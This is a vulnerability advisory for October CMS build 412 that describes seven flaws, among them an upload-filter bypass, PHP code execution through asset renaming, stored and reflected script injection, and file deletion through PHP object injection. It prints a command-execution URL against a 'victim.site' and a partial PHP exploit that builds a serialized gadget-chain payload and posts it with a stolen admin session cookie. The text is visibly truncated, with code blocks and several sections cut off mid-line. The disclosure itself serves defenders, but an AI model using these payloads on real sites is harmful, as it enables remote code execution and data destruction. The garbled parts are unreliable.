October CMS v1.0.412 several vulnerabilities ############################################ Information =========== Name: October CMS v1.0.412 (build 412) Homepage: http://octobercms.com Vulnerability: several issues, including PHP code execution Prerequisites: attacker has to be authenticated user with media or asset management permission CVE: pending Credit: Anti RA$?is HTML version: https://bitflipper.eu Product ======= October is a free, open-source, self-hosted CMS platform based on the Laravel PHP Framework. Description =========== October CMS build 412 contains several vulnerabilities. Some of them allow an attacker to execute PHP code on the server. Following issues have been identified: 1. PHP upload protection bypass 2. Apache .htaccess upload 3. stored WCI in image name 4. reflected WCI while displaying project ID 5. PHP code execution via asset management 6. delete file via PHP object injection 7. asset save path modification Proof of Concepts ================= 1. PHP upload protection bypass ------------------------------- Authenticated user with permission to upload and manage media contents can upload various files on the server. Application prevents the user from uploading PHP code by checking the file extension. It uses black-list based approach, as seen in octobercms/vendor/october/rain/src/Filesystem/ Definitions.php:blockedExtensions(). ==================== source start ======================== 106 Customize Back-end -> Brand Logo -> (upload logo) -> (edit name) -> (add title) Set the name to following value: ==================== source start ======================== "> Assets -> Add -> Create file. First, attacker creates a new asset test.js with the following content: ==================== source start ========================
==================== source end ======================== After saving the file, attacker renames it to test.php5 by clicking on ">_" icon on the newly created file. Modal window opens which allows to specify a new filename. URL to execute PHP code: http://victim.site/themes/demo/assets/test.php5?x=ls%20-lah 6. delete file via PHP object injection --------------------------------------- Authenticated user with "Create, modify and delete CMS partials" or "Create, modify and delete CMS layouts" can move assets to different folders. This functionality is vulnerable to PHP object injection. User input is read from selectedList parameter on line 11 and passed as argument to unserialize(). Unserialized array object is passed to validatePath() on line 32. ==================== source start ======================== 1 validateRequestTheme(); 10 11 $selectedList = Input::get('selectedList'); 12 if (!strlen($selectedList)) { 13 throw new ApplicationException( Lang::get('cms::lang.asset.selected_files_not_found')); 14 } 15 16 $destinationDir = Input::get('dest'); 17 if (!strlen($destinationDir)) { 18 throw new ApplicationException( Lang::get('cms::lang.asset.select_destination_dir')); 19 } 20 21 $destinationFullPath = $this->getFullPath($destinationDir); 22 if (!file_exists($destinationFullPath) || !is_dir($destinationFullPath)) { 23 throw new ApplicationException( Lang::get('cms::lang.asset.destination_not_found')); 24 } 25 26 $list = @unserialize(@base64_decode($selectedList)); 27 if ($list === false) { 28 throw new ApplicationException( Lang::get('cms::lang.asset.selected_files_not_found')); 29 } 30 31 foreach ($list as $path) { 32 if (!$this->validatePath($path)) { 33 throw new ApplicationException( Lang::get('cms::lang.asset.invalid_path')); 34 } 35 36 // ... ==================== source end ======================== Following PHP exploit uses the vulnerability. It requires an authenticated user's session to execute as described previously. ==================== source start ======================== _keys = [$path => [ $filename => null]]; } } class Swift_Mime_SimpleMimeEntity { private $_headers; private $_cache; private $_cacheKey; public function __construct($filename, $path = '') { $this->_headers = new Swift_Mime_SimpleHeaderSet(); $this->_cache = new Swift_KeyCache_DiskKeyCache($path, $filename); $this->_cacheKey = $path; } } function payload($filename) { $builder = new Swift_Mime_SimpleMimeEntity($filename); return base64_encode(serialize([$builder])); } function http($config) { $ch = curl_init($config['url']); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($config['data'])); curl_setopt($ch, CURLOPT_HTTPHEADER, $config['headers']); curl_setopt($ch, CURLOPT_COOKIE, $config['cookies']); curl_setopt($ch, CURLOPT_PROXY, $config['proxy']); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); return curl_exec($ch); } function get_config($url, $filename, $session) { return [ 'url' => $url.'/backend/cms', 'data' => [ 'dest' => '/', 'theme' => 'demo', 'selectedList' => payload($filename), ], 'headers' => [ 'X-OCTOBER-REQUEST-HANDLER: assetList::onMove', 'X-Requested-With: XMLHttpRequest', ], 'cookies' => 'admin_auth='.$session, 'proxy' => 'localhost:8080', ]; } $url = 'http://victim.site'; $session = '